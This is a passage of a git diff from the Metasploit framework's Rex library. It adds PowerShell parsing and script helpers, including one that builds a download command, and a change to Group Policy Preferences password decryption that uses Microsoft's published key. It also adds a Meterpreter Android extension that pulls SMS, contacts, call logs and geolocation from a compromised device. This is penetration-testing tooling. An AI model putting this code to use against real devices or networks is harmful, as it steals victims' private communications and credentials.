@name = name.strip.gsub(/\s|,/, '')
|
||||
end
|
||||
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Powershell param
|
||||
def to_s
|
||||
"[#{klass}]$#{name}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
183
lib/rex/exploitation/powershell/parser.rb
Normal file
183
lib/rex/exploitation/powershell/parser.rb
Normal file
@ -0,0 +1,183 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Parser
|
||||
# Reserved special variables
|
||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||
RESERVED_VARIABLE_NAMES = [
|
||||
'$$',
|
||||
'$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$args',
|
||||
'$ConfirmPreference',
|
||||
'$ConsoleFileName',
|
||||
'$DebugPreference',
|
||||
'$Env',
|
||||
'$Error',
|
||||
'$ErrorActionPreference',
|
||||
'$ErrorView',
|
||||
'$ExecutionContext',
|
||||
'$false',
|
||||
'$FormatEnumerationLimit',
|
||||
'$HOME',
|
||||
'$Host',
|
||||
'$input',
|
||||
'$LASTEXITCODE',
|
||||
'$MaximumAliasCount',
|
||||
'$MaximumDriveCount',
|
||||
'$MaximumErrorCount',
|
||||
'$MaximumFunctionCount',
|
||||
'$MaximumHistoryCount',
|
||||
'$MaximumVariableCount',
|
||||
'$MyInvocation',
|
||||
'$NestedPromptLevel',
|
||||
'$null',
|
||||
'$OutputEncoding',
|
||||
'$PID',
|
||||
'$PROFILE',
|
||||
'$ProgressPreference',
|
||||
'$PSBoundParameters',
|
||||
'$PSCulture',
|
||||
'$PSEmailServer',
|
||||
'$PSHOME',
|
||||
'$PSSessionApplicationName',
|
||||
'$PSSessionConfigurationName',
|
||||
'$PSSessionOption',
|
||||
'$PSUICulture',
|
||||
'$PSVersionTable',
|
||||
'$PWD',
|
||||
'$ReportErrorShowExceptionClass',
|
||||
'$ReportErrorShowInnerException',
|
||||
'$ReportErrorShowSource',
|
||||
'$ReportErrorShowStackTrace',
|
||||
'$ShellId',
|
||||
'$StackTrace',
|
||||
'$true',
|
||||
'$VerbosePreference',
|
||||
'$WarningPreference',
|
||||
'$WhatIfPreference'
|
||||
].map(&:downcase).freeze
|
||||
|
||||
#
|
||||
# Get variable names from code, removes reserved names from return
|
||||
#
|
||||
# @return [Array] variable names
|
||||
def get_var_names
|
||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||
end
|
||||
|
||||
#
|
||||
# Get function names from code
|
||||
#
|
||||
# @return [Array] function names
|
||||
def get_func_names
|
||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to find string literals in PSH expression
|
||||
#
|
||||
# @return [Array] string literals
|
||||
def get_string_literals
|
||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||
end
|
||||
|
||||
#
|
||||
# Scan code and return matches with index
|
||||
#
|
||||
# @param str [String] string to match in code
|
||||
# @param source [String] source code to match, defaults to @code
|
||||
#
|
||||
# @return [Array[String,Integer]] matched items with index
|
||||
def scan_with_index(str, source = code)
|
||||
::Enumerator.new do |y|
|
||||
source.scan(str) do
|
||||
y << ::Regexp.last_match
|
||||
end
|
||||
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||
end
|
||||
|
||||
#
|
||||
# Return matching bracket type
|
||||
#
|
||||
# @param char [String] opening bracket character
|
||||
#
|
||||
# @return [String] matching closing bracket
|
||||
def match_start(char)
|
||||
case char
|
||||
when '{'
|
||||
'}'
|
||||
when '('
|
||||
')'
|
||||
when '['
|
||||
']'
|
||||
when '<'
|
||||
'>'
|
||||
else
|
||||
fail ArgumentError, 'Unknown starting bracket'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract block of code inside brackets/parenthesis
|
||||
#
|
||||
# Attempts to match the bracket at idx, handling nesting manually
|
||||
# Once the balanced matching bracket is found, all script content
|
||||
# between idx and the index of the matching bracket is returned
|
||||
#
|
||||
# @param idx [Integer] index of opening bracket
|
||||
#
|
||||
# @return [String] content between matching brackets
|
||||
def block_extract(idx)
|
||||
fail ArgumentError unless idx
|
||||
|
||||
if idx < 0 || idx >= code.length
|
||||
fail ArgumentError, 'Invalid index'
|
||||
end
|
||||
|
||||
start = code[idx]
|
||||
stop = match_start(start)
|
||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||
c = 1
|
||||
sidx = nil
|
||||
# Go through delims till we balance, get idx
|
||||
while (c != 0) && (x = delims.shift)
|
||||
sidx = x[1]
|
||||
x[0] == stop ? c -= 1 : c += 1
|
||||
end
|
||||
|
||||
code[idx..sidx]
|
||||
end
|
||||
|
||||
#
|
||||
# Extract a block of function code
|
||||
#
|
||||
# @param func_name [String] function name
|
||||
# @param delete [Boolean] delete the function from the code
|
||||
#
|
||||
# @return [String] function block
|
||||
def get_func(func_name, delete = false)
|
||||
start = code.index(func_name)
|
||||
|
||||
return nil unless start
|
||||
|
||||
idx = code[start..-1].index('{') + start
|
||||
func_txt = block_extract(idx)
|
||||
|
||||
if delete
|
||||
delete_code = code[0..idx]
|
||||
delete_code << code[(idx + func_txt.length)..-1]
|
||||
@code = delete_code
|
||||
end
|
||||
|
||||
Function.new(func_name, func_txt)
|
||||
end
|
||||
end # Parser
|
||||
end
|
||||
end
|
||||
end
|
70
lib/rex/exploitation/powershell/psh_methods.rb
Normal file
70
lib/rex/exploitation/powershell/psh_methods.rb
Normal file
@ -0,0 +1,70 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
##
|
||||
# Convenience methods for generating powershell code in Ruby
|
||||
##
|
||||
|
||||
module PshMethods
|
||||
#
|
||||
# Download file via .NET WebClient
|
||||
#
|
||||
# @param src [String] URL to the file
|
||||
# @param target [String] Location to save the file
|
||||
#
|
||||
# @return [String] Powershell code to download a file
|
||||
def self.download(src, target)
|
||||
target ||= '$pwd\\' << src.split('/').last
|
||||
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
|
||||
end
|
||||
|
||||
#
|
||||
# Uninstall app, or anything named like app
|
||||
#
|
||||
# @param app [String] Name of application
|
||||
# @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
|
||||
# the application name
|
||||
#
|
||||
# @return [String] Powershell code to uninstall an application
|
||||
def self.uninstall(app, fuzzy = true)
|
||||
match = fuzzy ? '-like' : '-eq'
|
||||
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
||||
end
|
||||
|
||||
#
|
||||
# Create secure string from plaintext
|
||||
#
|
||||
# @param str [String] String to create as a SecureString
|
||||
#
|
||||
# @return [String] Powershell code to create a SecureString
|
||||
def self.secure_string(str)
|
||||
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
|
||||
end
|
||||
|
||||
#
|
||||
# Find PID of file lock owner
|
||||
#
|
||||
# @param filename [String] Filename
|
||||
#
|
||||
# @return [String] Powershell code to identify the PID of a file
|
||||
# lock owner
|
||||
def self.who_locked_file(filename)
|
||||
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
||||
end
|
||||
|
||||
#
|
||||
# Return last time of login
|
||||
#
|
||||
# @param user [String] Username
|
||||
#
|
||||
# @return [String] Powershell code to return the last time of a user
|
||||
# login
|
||||
def self.get_last_login(user)
|
||||
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
99
lib/rex/exploitation/powershell/script.rb
Normal file
99
lib/rex/exploitation/powershell/script.rb
Normal file
@ -0,0 +1,99 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex'
|
||||
require 'forwardable'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Script
|
||||
attr_accessor :code
|
||||
attr_reader :functions, :rig
|
||||
|
||||
include Output
|
||||
include Parser
|
||||
include Obfu
|
||||
# Pretend we are actually a string
|
||||
extend ::Forwardable
|
||||
# In case someone messes with String we delegate based on its instance methods
|
||||
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
|
||||
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
|
||||
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
|
||||
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
|
||||
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
|
||||
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
|
||||
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
|
||||
:delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
|
||||
:hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
|
||||
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
|
||||
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
|
||||
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
|
||||
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
|
||||
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
|
||||
:end_with?
|
||||
|
||||
def initialize(code)
|
||||
@code = ''
|
||||
@rig = Rex::RandomIdentifierGenerator.new
|
||||
|
||||
begin
|
||||
# Open code file for reading
|
||||
fd = ::File.new(code, 'rb')
|
||||
while (line = fd.gets)
|
||||
@code << line
|
||||
end
|
||||
|
||||
# Close open file
|
||||
fd.close
|
||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||
# Treat code as a... code
|
||||
@code = code.to_s.dup # in case we're eating another script
|
||||
end
|
||||
@functions = get_func_names.map { |f| get_func(f) }
|
||||
end
|
||||
|
||||
##
|
||||
# Class methods
|
||||
##
|
||||
|
||||
#
|
||||
# Convert binary to byte array, read from file if able
|
||||
#
|
||||
# @param input_data [String] Path to powershell file or powershell
|
||||
# code string
|
||||
# @param var_name [String] Byte array variable name
|
||||
#
|
||||
# @return [String] input_data as a powershell byte array
|
||||
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
|
||||
# File will raise an exception if the path contains null byte
|
||||
if input_data.include? "\x00"
|
||||
code = input_data
|
||||
else
|
||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
||||
end
|
||||
|
||||
code = code.unpack('C*')
|
||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length - 1) do |byte|
|
||||
if (byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
|
||||
psh << lines.join('') + "\r\n"
|
||||
end
|
||||
|
||||
#
|
||||
# Return list of code modifier methods
|
||||
#
|
||||
# @return [Array] Code modifiers
|
||||
def self.code_modifiers
|
||||
instance_methods.select { |m| m =~ /^(strip|sub)/ }
|
||||
end
|
||||
end # class Script
|
||||
end
|
||||
end
|
||||
end
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/text'
|
||||
require 'rexml/document'
|
||||
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Oui
|
||||
|
@ -129,14 +129,40 @@ class GPP
|
||||
# Decrypts passwords using Microsoft's published key:
|
||||
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
|
||||
def self.decrypt(encrypted_data)
|
||||
unless encrypted_data
|
||||
return ""
|
||||
end
|
||||
password = ""
|
||||
return password unless encrypted_data
|
||||
|
||||
password = ""
|
||||
padding = "=" * (4 - (encrypted_data.length % 4))
|
||||
epassword = "#{encrypted_data}#{padding}"
|
||||
decoded = Rex::Text.decode_base64(epassword)
|
||||
retries = 0
|
||||
original_data = encrypted_data.dup
|
||||
|
||||
begin
|
||||
mod = encrypted_data.length % 4
|
||||
|
||||
# PowerSploit code strips the last character, unsure why...
|
||||
case mod
|
||||
when 1
|
||||
encrypted_data = encrypted_data[0..-2]
|
||||
when 2, 3
|
||||
padding = '=' * (4 - mod)
|
||||
encrypted_data = "#{encrypted_data}#{padding}"
|
||||
end
|
||||
|
||||
# Strict base64 decoding used here
|
||||
decoded = encrypted_data.unpack('m0').first
|
||||
rescue ::ArgumentError => e
|
||||
# Appears to be some junk UTF-8 Padding appended at times in
|
||||
# Win2k8 (not in Win2k8R2)
|
||||
# Lets try stripping junk and see if we can decrypt
|
||||
if retries < 8
|
||||
retries += 1
|
||||
original_data = original_data[0..-2]
|
||||
encrypted_data = original_data
|
||||
retry
|
||||
else
|
||||
return password
|
||||
end
|
||||
end
|
||||
|
||||
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require "rex/parser/nokogiri_doc_mixin"
|
||||
|
||||
module Rex
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
|
||||
|
128
lib/rex/post/meterpreter/extensions/android/android.rb
Normal file
128
lib/rex/post/meterpreter/extensions/android/android.rb
Normal file
@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/post/meterpreter/extensions/android/tlv'
|
||||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/post/meterpreter/client'
|
||||
require 'rex/post/meterpreter/channels/pools/stream_pool'
|
||||
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Android
|
||||
|
||||
###
|
||||
# Android extension - set of commands to be executed on android devices.
|
||||
# extension by Anwar Mohamed (@anwarelmakrahy)
|
||||
###
|
||||
|
||||
|
||||
class Android < Extension
|
||||
|
||||
def initialize(client)
|
||||
super(client, 'android')
|
||||
|
||||
# Alias the following things on the client object so that they
|
||||
# can be directly referenced
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
'name' => 'android',
|
||||
'ext' => self
|
||||
},
|
||||
])
|
||||
end
|
||||
|
||||
def device_shutdown(n)
|
||||
request = Packet.create_request('device_shutdown')
|
||||
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
|
||||
response = client.send_request(request)
|
||||
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
||||
end
|
||||
|
||||
def dump_sms
|
||||
sms = Array.new
|
||||
request = Packet.create_request('dump_sms')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each( TLV_TYPE_SMS_GROUP ) { |p|
|
||||
|
||||
sms <<
|
||||
{
|
||||
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
|
||||
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
|
||||
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
|
||||
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
|
||||
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
|
||||
}
|
||||
|
||||
}
|
||||
return sms
|
||||
end
|
||||
|
||||
def dump_contacts
|
||||
contacts = Array.new
|
||||
request = Packet.create_request('dump_contacts')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
|
||||
|
||||
contacts <<
|
||||
{
|
||||
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
|
||||
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
|
||||
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
|
||||
}
|
||||
|
||||
}
|
||||
return contacts
|
||||
end
|
||||
|
||||
def geolocate
|
||||
|
||||
loc = Array.new
|
||||
request = Packet.create_request('geolocate')
|
||||
response = client.send_request(request)
|
||||
|
||||
loc <<
|
||||
{
|
||||
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
|
||||
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
|
||||
}
|
||||
|
||||
return loc
|
||||
end
|
||||
|
||||
def dump_calllog
|
||||
log = Array.new
|
||||
request = Packet.create_request('dump_calllog')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
|
||||
|
||||
log <<
|
||||
{
|
||||
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
|
||||
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
|
||||
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
|
||||
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
|
||||
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
|
||||
}
|
||||
|
||||
}
|
||||
return log
|
||||
end
|
||||
|
||||
def check_root
|
||||
request = Packet.create_request('check_root')
|
||||
response = client.send_request(request)
|
||||
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user